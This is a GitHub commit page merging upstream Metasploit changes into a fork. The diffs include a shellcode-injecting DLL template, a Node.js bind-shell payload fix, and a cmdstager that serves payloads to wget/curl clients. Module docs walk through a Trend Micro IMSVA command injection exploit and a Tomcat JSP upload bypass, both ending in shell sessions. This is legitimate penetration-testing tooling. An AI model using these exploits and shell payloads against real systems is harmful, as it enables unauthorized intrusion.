Skip to content

Commit 763720c

Browse files
authored
Merge pull request #6 from rapid7/master
updating master
2 parents ba0b270 + cfaa34d commit 763720c

File tree

15 files changed

+457
-33
lines changed

15 files changed

+457
-33
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -237,7 +237,7 @@ GEM
237237
metasm
238238
rex-arch
239239
rex-text
240-
rex-exploitation (0.1.14)
240+
rex-exploitation (0.1.15)
241241
jsobfu
242242
metasm
243243
rex-arch

LICENSE_GEMS

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -84,7 +84,7 @@ rex-arch, 0.1.9, "New BSD"
8484
rex-bin_tools, 0.1.4, "New BSD"
8585
rex-core, 0.1.11, "New BSD"
8686
rex-encoder, 0.1.4, "New BSD"
87-
rex-exploitation, 0.1.14, "New BSD"
87+
rex-exploitation, 0.1.15, "New BSD"
8888
rex-java, 0.1.5, "New BSD"
8989
rex-mime, 0.1.5, "New BSD"
9090
rex-nop, 0.1.1, "New BSD"

data/exploits/cve-2017-8464/src/build.sh

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,10 @@ CCx64="x86_64-w64-mingw32"
66

77
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
88
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
9-
${CCx64}-strip -s temp.dll -o template_x64_windows.dll
9+
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
1010
rm -f temp.dll *.o
1111

1212
${CCx86}-gcc -c -Os template.c -Wall -shared
1313
${CCx86}-dllwrap --def template.def *.o -o temp.dll
14-
${CCx86}-strip -s temp.dll -o template_x86_windows.dll
14+
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
1515
rm -f temp.dll *.o
16-

data/exploits/cve-2017-8464/src/template.c

100755100644
Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,13 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
2222
ExecutePayload();
2323
break;
2424

25-
case DLL_PROCESS_DETACH:
25+
case DLL_PROCESS_DETACH:
2626
break;
2727

28-
case DLL_THREAD_ATTACH:
28+
case DLL_THREAD_ATTACH:
2929
break;
3030

31-
case DLL_THREAD_DETACH:
31+
case DLL_THREAD_DETACH:
3232
break;
3333
}
3434

@@ -69,7 +69,7 @@ void ExecutePayload(void)
6969
inline_bzero(&si, sizeof(si));
7070
si.cb = sizeof(si);
7171

72-
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
72+
// Create a suspended process, write shellcode into stack, resume it
7373
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
7474
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
7575
GetThreadContext(pi.hThread, &ctx);
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Description
2+
3+
This module displays the version information about each system.
4+
5+
## Verification Steps
6+
7+
1. Do: ```use auxiliary/scanner/http/http_version```
8+
2. Do: ```set RHOSTS [IP]```
9+
3. Do: ```set RPORT [PORT]```
10+
4. Do: ```run```
11+
12+
## Scenarios
13+
14+
**Running the scanner**
15+
16+
```
17+
msf > use auxiliary/scanner/http/http_version
18+
msf auxiliary(http_version) > show options
19+
20+
Module options (auxiliary/scanner/http/http_version):
21+
22+
Name Current Setting Required Description
23+
---- --------------- -------- -----------
24+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
25+
RHOSTS yes The target address range or CIDR identifier
26+
RPORT 80 yes The target port (TCP)
27+
SSL false no Negotiate SSL/TLS for outgoing connections
28+
THREADS 1 yes The number of concurrent threads
29+
VHOST no HTTP server virtual host
30+
31+
msf auxiliary(http_version) > set RHOSTS 192.168.56.101
32+
RHOSTS => 192.168.56.101
33+
msf auxiliary(http_version) > run
34+
35+
[+] 192.168.56.101:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
36+
[*] Scanned 1 of 1 hosts (100% complete)
37+
[*] Auxiliary module execution completed
38+
39+
msf auxiliary(http_version) >
40+
```
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Vulnerable Application
2+
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.
3+
4+
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
5+
6+
**Vulnerable Application Installation Steps**
7+
8+
IMSVA is distrubed as an ISO image by Trend Micro.
9+
10+
Following steps are valid on the CentOS 6 x64 bit operating system.
11+
12+
1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
13+
2. Find "InterScan Messaging Security (Virtual Appliance)" and click.
14+
3. At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button.
15+
4. Click to the download button and complete installation of ISO.
16+
17+
If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL.
18+
19+
[http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso](http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso)
20+
21+
**System requirements:**
22+
- Virtualbox or VMware can be used.
23+
- 4 GB of memory at least.
24+
- 120 GB of disk size at least.
25+
26+
## Verification Steps
27+
28+
A successful check of the exploit will look like this:
29+
30+
- [ ] Start `msfconsole`
31+
- [ ] `use exploit/linux/http/trendmicro_imsva_widget_exec`
32+
- [ ] Set `RHOST`
33+
- [ ] Set `LHOST`
34+
- [ ] Run `check`
35+
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
36+
- [ ] Run `exploit`
37+
- [ ] **Verify** that you are seeing `Awesome. JSESSIONID value` in console.
38+
- [ ] **Verify** that you are getting `Session with widget framework successfully initiated` session.
39+
40+
## Scenarios
41+
42+
```
43+
msf > use exploit/linux/http/trendmicro_imsva_widget_exec
44+
msf exploit(trendmicro_imsva_widget_exec) > set RHOST 12.0.0.201
45+
RHOST => 12.0.0.184
46+
msf exploit(trendmicro_imsva_widget_exec) > check
47+
[*] 12.0.0.184:443 The target appears to be vulnerable.
48+
msf exploit(trendmicro_imsva_widget_exec) > exploit
49+
50+
[*] Started reverse TCP handler on 12.0.0.1:4444
51+
[*] Extracting JSESSIONID from publicly accessible log file
52+
[+] Awesome. JSESSIONID value = 0567E974AE729E58178C9B513FEBE41E
53+
[*] Initiating session with widget framework
54+
[+] Session with widget framework successfully initiated.
55+
[*] Trigerring command injection vulnerability
56+
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.201:44103) at 2017-10-08 18:05:11 +0300
57+
58+
pwd
59+
/opt/trend/imss/UI/adminUI/ROOT/widget
60+
61+
```
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Description
2+
3+
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
4+
5+
## Vulnerable Application
6+
7+
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialization parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617
8+
9+
To set up a vulnerable installation:
10+
1. Download and install an affected version of Apache Tomcat.
11+
2. Download and install Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
12+
3. In conf directory of Apache Tomcat, edit the web.xml file and set the "readonly" parameter to false for the default servlet.
13+
4. Restart the Tomcat service.
14+
15+
16+
## Verification Steps
17+
18+
1. Do: ```use exploit/multi/http/tomcat_jsp_upload_bypass```
19+
1. Do: ```set payload java/jsp_shell_bind_tcp```
20+
2. Do: ```set RHOST [IP]```
21+
3. Do: ```set RPORT [PORT]```
22+
4. Do: ```check```
23+
5. It should be reported as vulnerable
24+
6. Do: ```run```
25+
7. You should get a shell
26+
27+
## Scenarios
28+
29+
```
30+
msf > use exploit/multi/http/tomcat_jsp_upload_bypass
31+
msf exploit(tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp
32+
payload => java/jsp_shell_bind_tcp
33+
msf exploit(tomcat_jsp_upload_bypass) > set RHOST 10.10.40.93
34+
RHOST => 10.10.40.93
35+
msf exploit(tomcat_jsp_upload_bypass) > set RPORT 8080
36+
RPORT => 8080
37+
msf exploit(tomcat_jsp_upload_bypass) > check
38+
[+] 10.10.40.93:8080 The target is vulnerable.
39+
msf exploit(tomcat_jsp_upload_bypass) > run
40+
41+
[*] Started bind handler
42+
[*] Uploading payload...
43+
[*] Payload executed!
44+
[*] Command shell session 1 opened (10.10.230.230:39979 -> 10.10.40.93:4444) at 2017-10-11 07:43:08 -0400
45+
46+
Microsoft Windows [Version 6.3.9600]
47+
(c) 2013 Microsoft Corporation. All rights reserved.
48+
49+
C:\Program Files\apache-tomcat-7.0.81>whoami
50+
whoami
51+
nt authority\system
52+
53+
```

lib/msf/core/exploit/cmdstager/http.rb

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,25 @@ def start_service(opts = {})
2727
end
2828

2929
def on_request_uri(cli, request)
30-
if request['User-Agent'] =~ /^(?:Wget|curl)/
30+
client = cli.peerhost
31+
32+
if (user_agent = request.headers['User-Agent'])
33+
client << " (#{user_agent})"
34+
end
35+
36+
print_status("Client #{client} requested #{request.raw_uri}")
37+
38+
if stager_instance.respond_to?(:user_agent)
39+
agent_regex = stager_instance.user_agent
40+
else
41+
agent_regex = /.*/
42+
end
43+
44+
if user_agent =~ agent_regex
45+
print_status("Sending payload to #{client}")
3146
send_response(cli, exe)
3247
else
48+
print_status("Sending 404 to #{client}")
3349
send_not_found(cli)
3450
end
3551
end

lib/msf/core/payload/nodejs.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,11 @@ def nodejs_bind_tcp
1919
var sh = cp.spawn(cmd, []);
2020
socket.pipe(sh.stdin);
2121
if (typeof util.pump === "undefined") {
22-
sh.stdout.pipe(client.socket);
23-
sh.stderr.pipe(client.socket);
22+
sh.stdout.pipe(socket);
23+
sh.stderr.pipe(socket);
2424
} else {
25-
util.pump(sh.stdout, client.socket);
26-
util.pump(sh.stderr, client.socket);
25+
util.pump(sh.stdout, socket);
26+
util.pump(sh.stderr, socket);
2727
}
2828
});
2929
server.listen(#{datastore['LPORT']});

lib/msf/core/post/linux/system.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -86,12 +86,18 @@ def get_sysinfo
8686
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
8787
system_data[:distro] = "gentoo"
8888
system_data[:version] = version
89-
else
9089

91-
# Others
90+
# Generic
91+
elsif etc_files.include?("issue")
9292
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
9393
system_data[:distro] = "linux"
9494
system_data[:version] = version
95+
96+
# Others, could be a mismatch like ssh_login to cisco device
97+
else
98+
system_data[:distro] = "linux"
99+
system_data[:version] = ''
100+
95101
end
96102
return system_data
97103
end

0 commit comments

Comments
 (0)